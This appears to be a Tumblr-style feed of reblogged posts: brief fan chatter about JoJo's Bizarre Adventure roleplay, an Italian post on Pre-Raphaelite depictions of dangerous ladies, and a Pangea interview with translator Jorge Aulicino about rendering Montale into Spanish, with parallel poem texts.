Their loyalties lie to whoever's gonna make them rich, not necessarily solely to Risotto or Passione as a whole. But, they still do hold some level of respect for their team members who show cunning and skill.

[vtribbean]

Whenever I find the energy I'm gonna take some poor fucker on this site who wills themselves towards me and RP the entirety of Filo Aureo with them and twist it around to have both of our self ships or just ship our OCs together and then rinse and repeat this same process every time I want to revisit the AU again

Or just find someone to do JJBA RPs with in general I just want to stop being scared of interacting with people frankly 😔

[nico-maggio-tolkeniano]

Medievalismi vittoriani: la Dama seducente e pericolosa dei Preraffaelliti. Tra i soggetti pittorici prediletti dalla Confraternita dei Preraffaelliti - sorta di associazione di artisti e pittori romantici inglesi, attiva tra la metà del XIX secolo e gli anni Venti del Novecento, che dichiarava di ispirarsi agli ideali, ai metodi ed alla "pittura prima di Raffaello" - vi è la Dama "perigliosa", la donna seducente, pericolosamente attraente, ostacolo al cammino iniziatico e circolare di purificazione-perfezione dell'eroe, o nobile e severa, o ancora morente per un amore sofferto, struggente, non corrisposto o vittime di un tragico destino. Le donne dei Preraffaelliti capovolgono in un certo senso l'idea di amor cortese e l'immagine classica e standardizzata della donna angelica o beata: ben al di là dall'essere delle semplici comprimarie dei cavalieri uomini, relegate al ruolo di nobildonne da conquistare con gesta e virtù cavalleresche, le dame preraffaellite sono le protagoniste assolute della scena, consapevoli della propria bellezza e potenzialità, seducenti e affascinanti, in grado di dominare e condizionare le scelte anche dei più valorosi eroi maschili o, in ogni caso, eroiche, di una bellezza surreale, protagoniste tragiche nella loro simbolica ed emblematica morte. Il Medioevo del Ciclo Bretone, arturiano, romanzato da Tennyson e messo in scena da Shakespeare diventa il filo conduttore di tali opere è lo sfondo per queste bellissime e pericolose dame, in linea con lo spirito e il gusto romantico del tempo volto a fare dell'età di mezzo il momento aureo dell'eroismo, della pura fede cristiana, del fantastico e dell'irrazionale. Un revival che aveva i tratti di un ritorno attivo e partecipato all'antico, non solo un tiepido ed emotivo vagheggiamento, ma un’alternativa valida da attuare per rivoluzionare il mondo moderno, sia sotto l'aspetto sociale, economico e industriale, sia, naturalmente, sotto l'aspetto pittorico, artistico, architettonico, riprendendo e rielaborando modelli, simboli e stili dell'età di mezzo. #costruirestorie #medievalism #medievalismoromantico #preraffaelliti #romanticismo #medievalismo #preraffaellitiamoreedesiderio #amore (presso London, United Kingdom) https://www.instagram.com/p/CQ04MRsF-7s7KWTpijnnfZC-yK1NjiuJAad40g0/?utm_medium=tumblr

[pangeanews]

“Montale è stato il nostro punto di riferimento”: Jorge Aulicino balla il tango con Eusebio, e lo porta a Buenos Aires

Il linguaggio ha una personalità, ha geologia, destino, volto. Per questo, tradurre non è un gesto meccanico – ma neppure alchemico. La traduzione è un trapianto in cui non si produce un uguale, ma un altro – a volte un Minotauro, altre un unicorno. Provate a ripassarvi sul palato, sulle labbra, nelle narici e infine – infine, dopo!, perché la parola è carne, odore, suono, prima – questo distico: “No nos pidas la fórmula que te abra los mundos,/ sino apenas un sílaba torcida y seca como una rama”. Gemello, ma indubbiamente diverso da questo, che sappiamo da sempre, conficcato nella ramiglia dei nostri nervi novecenteschi, “Non domandarci la formula che mondi possa aprirti,/ sì qualche storta sillaba e secca come un ramo”. Anche quest’altro distico, “Tú no recuerdas; otro tiempo trastorna/ tu memoria; un hilo se devana” nella mia mente monosillabica, qui, che gorgoglia nella laringe, mi sembra esattamente nuovo. Jorge Aulicino, giornalista di talento, poeta, è il traduttore in Argentina dei poeti italiani. La sua impresa, nel 2015, è stata la traduzione della Divina Commedia, dopo anni di lavoro, ma il suo impegno, da sempre, è orientato verso la poesia contemporanea. Di recente, ha tradotto Pier Paolo Pasolini e Cesare Pavese, ha lavorato dentro l’opera di Franco Fortini, di Biancamaria Frabotta e di Antonella Anedda. Quest’anno Aulicino compie 70 anni, e si è regalato, diciamo così, un lavoro aureo. La pubblicazione, per Ediciones en Danza, di una silloge di poesie di Eugenio Montale, En el humo y otros poemas, tradotte con dedizione astrale. La sfida è doppia, per così dire, perché affrontare Montale, in Argentina, significa anche confrontarsi con le storiche traduzioni di Horacio Armani, che comincia nel 1971 con ‘Eusebio’, proponendo una Antología de Montale. Sorprende, soprattutto, dialogando con Aulicino, capire quanto la poesia di Montale abbia agito nella rivoluzione lirica argentina. Le occasioni, la raccolta centrale di Montale – da cui Aulicino estrae i Mottetti e alcune poesie più clamorose, come La casa dei doganieri – è pubblica da Einaudi nel 1939, ottant’anni fa. L’omaggio che viene dall’“altro mondo” mi pare di eccezionale devozione. (d.b.)

Lui è Jorge Aulicino, con l’immancabile pipa. Ha tradotto Montale, Pasolini, Pavese e la Divina Commedia in spagnolo

Quando ha letto Montale per la prima volta e cosa la ha sorpresa della sua poesia?

Negli anni Settanta ho letto le prime traduzioni fatte in Argentina da Horacio Armani, poeta, traduttore e ammiratore di Montale, che conobbe a Milano. La poesia di Montale che più ha affascinato la mia generazione è stata La casa dei doganieri. Per alcuni lettori la frase Il varco è qui? è divenuta una vera parola d’ordine. Anni fa ho letto una vecchia traduzione di questa poesia ma preferisco non citare il nome del traduttore che, disgraziatamente, si era sbagliato proprio in quel momento chiave. Aveva tradotto la parola italiana varco come se fosse barco (in italiano, nave). Forse pensava che Montale stava ancora parlando della petroliera a cui alludeva nel verso precedente. Montale fu un punto di riferimento per lo slancio rinnovatore della poesia argentina degli anni Settanta, insieme ad altri autori statunitensi, inglesi e italiani, oltre ai grandi latinoamericani come César Vallejo, Nicanor Parra, Enrique Lihn o José Lezama Lima.

Come è possibile tradurre Montale in spagnolo? Che difficoltà ha incontrato?

La poesia di Montale fa un uso particolarmente denso delle parole. E di una sintassi a volte non semplice per chi non parla italiano tutti i giorni. Non credo che le mie traduzioni siano migliori di quelle di Armani. Ho cercato solamente di restare più legato alla profondità di campo di Montale.

Quante poesie di Montale ha tradotto e, riguardo alla traduzione, di quale poesia è più soddisfatto?

Ho perso il conto. Nell’antologia appena pubblicata da En Danza ci sono 35 poesie, se consideriamo i Motetti come poesie individuali. In realtà si tratta di 20 poesie brevi. Ma ci saranno, credo, un’altra ventina di poesie rimaste fuori da questo libro. In generale sono piuttosto soddisfatto della traduzione ma credo che le poesie più mutevoli siano quelle come Meriggiare pallido e assorto in virtù del loro particolare ritmo, intraducibile.

In che modo Montale ha influenzato la poesia argentina contemporanea? Qual è il Montale che ama di più: il primo, raffinato e pieno di riflessioni esistenziali, o l’ultimo, epigrammatico, aforistico?

Il primo Montale è quello che più ci ha influenzato perché è quello che più è stato tradotto. Coincideva con la nostra ricerca di una poesia più sobria, meno sentimentale. Nonostante questo, scoprire che Montale cita un tango nella sua poesia Sotto la pioggia di Le occasioni, da argentino, mi ha commosso. Alla generazione successiva alla mia, chiamata ‘oggettivista’, piaceva il Montale di Xenia I e di Xenia II del primo Diario. La poesia argentina degli anni Settanta e di quelli a seguire cercava di mitigare un poco il sentimentalismo. Fu attratta e le attrae l’immagine visiva concreta, la sobrietà di esprimere la situazione poetica (le occasioni, nel linguaggio di Montale).

Ha tradotto di recente anche Pavese. Quale poeta italiano è più vicino alla sua sensibilità di poeta?

Credo Pavese. In Pavese c’è quello stile più colloquiale. E il mito. Un mito legato all’origine. Questo è molto vicino a me.

E ora: chi ha intenzione di tradurre, quale poeta?

Spero che quest’anno venga pubblicata la mia traduzione delle poesie di Biancamaria Frabotta. Inoltre resta inedita una antologia di poesia italiana del XX secolo che continua a crescere. Abbiamo cercato di pubblicarla ma è stato impossibile ottenere tutti i diritti. I diritti postumi sono una vera maledizione. Lo stesso è successo con una antologia della poesia di Franco Fortini: non è stato possibile avere i diritti. A mio avviso gli editori o gli eredi degli autori commettono un errore quando cedono agli editori spagnoli i diritti per tutti i paesi di lingua spagnola. Mi piacerebbe fare una antologia di Alda Merini, un poeta molto amato in Argentina ma so già in partenza che sarà impossibile ottenerne i diritti.

*Traduzione dallo spagnolo di Mercedes Ariza

***

Per gentile concessione pubblichiamo alcune poesie da En el humo y otros poemas, di Eugenio Montale, tradotto da Jorge Aulicino

No nos pidas la palabra…

No nos pidas la palabra que encuadre de cada lado nuestro ánimo informe, y en letras de fuego lo proclame y resplandezca como el azafrán en medio de un polvoriento prado. Ah el hombre que parte seguro, de los otros y de sí mismo amigo, y no se preocupa de su sombra que la canícula estampa sobre un muro calcinado. No nos pidas la fórmula que te abra los mundos, sino apenas un sílaba torcida y seca como una rama. Esto solo hoy podemos decirte: lo que no somos, lo que no queremos.

*

“Non chiederci la parola”

Non chiederci la parola che squadri da ogni lato l’animo nostro informe,e a lettere di fuoco lo dichiari e risplenda come un croco perduto in mezzo a un polveroso prato. Ah l’uomo che se ne va sicuro, agli altri ed a se stesso amico, e l’ombra sua non cura che la canicola stampa sopra uno scalcinato muro! Non domandarci la formula che mondi possa aprirti, sì qualche storta sillaba e secca come un ramo. Codesto solo oggi possiamo dirti, ciò che non siamo,ciò che non vogliamo.

***

La casa de los aduaneros

Tú no recuerdas la casa de los aduaneros en la elevación inclinada sobre la escollera: desolada te espera desde la noche en que entró en ella el enjambre de tus pensamientos y se detuvo inquieto.

La marejada azota hace años la vieja muralla y el sonido de tu risa ya no es alegre: la brújula gira loca a la ventura y el cálculo de los dados no regresa. Tú no recuerdas; otro tiempo trastorna tu memoria; un hilo se devana.

Tengo todavía la punta; pero se aleja la casa y sobre el techo la ennegrecida veleta gira sin piedad. Tengo la punta; pero tú estás sola casi ni respiras en la oscuridad.

Oh el horizonte en fuga donde se enciende rara la luz del petrolero. ¿Es este el paso? (Pulula todavía el oleaje sobre el acantilado que se desploma). Tú no recuerdas la casa de esta noche mía. Y yo no sé quién va y quién queda.

*

La casa dei doganieri

Tu non ricordi la casa dei doganieri sul rialzo a strapiombo sulla scogliera: desolata t’attende dalla sera in cui v’entrò lo sciame dei tuoi pensieri e vi sostò irrequieto.

Libeccio sferza da anni le vecchie mura e il suono del tuo riso non è più lieto: la bussola va impazzita all’avventura e il calcolo dei dadi più non torna. Tu non ricordi; altro tempo frastorna la tua memoria; un filo s’addipana.

Ne tengo ancora un capo; ma s’allontana la casa e in cima al tetto la banderuola affumicata gira senza pietà. Ne tengo un capo; ma tu resti sola né qui respiri nell’oscurità.

Oh l’orizzonte in fuga, dove s’accende rara la luce della petroliera! Il varco è qui? (Ripullula il frangente ancora sulla balza che scoscende…) Tu non ricordi la casa di questa mia sera. Ed io non so chi va e chi resta.

*

En el humo

Cuántas veces te he esperado en la estación en el frío, en la niebla. Me paseaba tosiendo, comprando diarios innombrables, fumando Giuba, luego suprimidos por el ministro de tabacos, el tarado. Quizá un tren equivocado, un duplicado o tal vez un faltante. Escudriñaba los carritos de los changadores, por las dudas de que llevaran tu maleta y tú llegases luego, retrasada. Al fin aparecías, última. Es un recuerdo de tantos. Me persigue en sueños.

*

Nel fumo

Quante volte t’ho atteso alla stazione nel freddo, nella nebbia. Passeggiavo tossicchiando, comprando giornali innominabili, fumando Giuba poi soppresse dal ministro dei tabacchi, il balordo! Forse un treno sbagliato, un doppione oppure una sottrazione. Scrutavo le carriole dei facchini se mai ci fosse dentro il tuo bagaglio, e tu dietro, in ritardo. poi apparivi, ultima. È un ricordo tra tanti altri. Nel sogno mi perseguita.

L'articolo “Montale è stato il nostro punto di riferimento”: Jorge Aulicino balla il tango con Eusebio, e lo porta a Buenos Aires proviene da Pangea.

from pangea.news https://ift.tt/2JcYVoy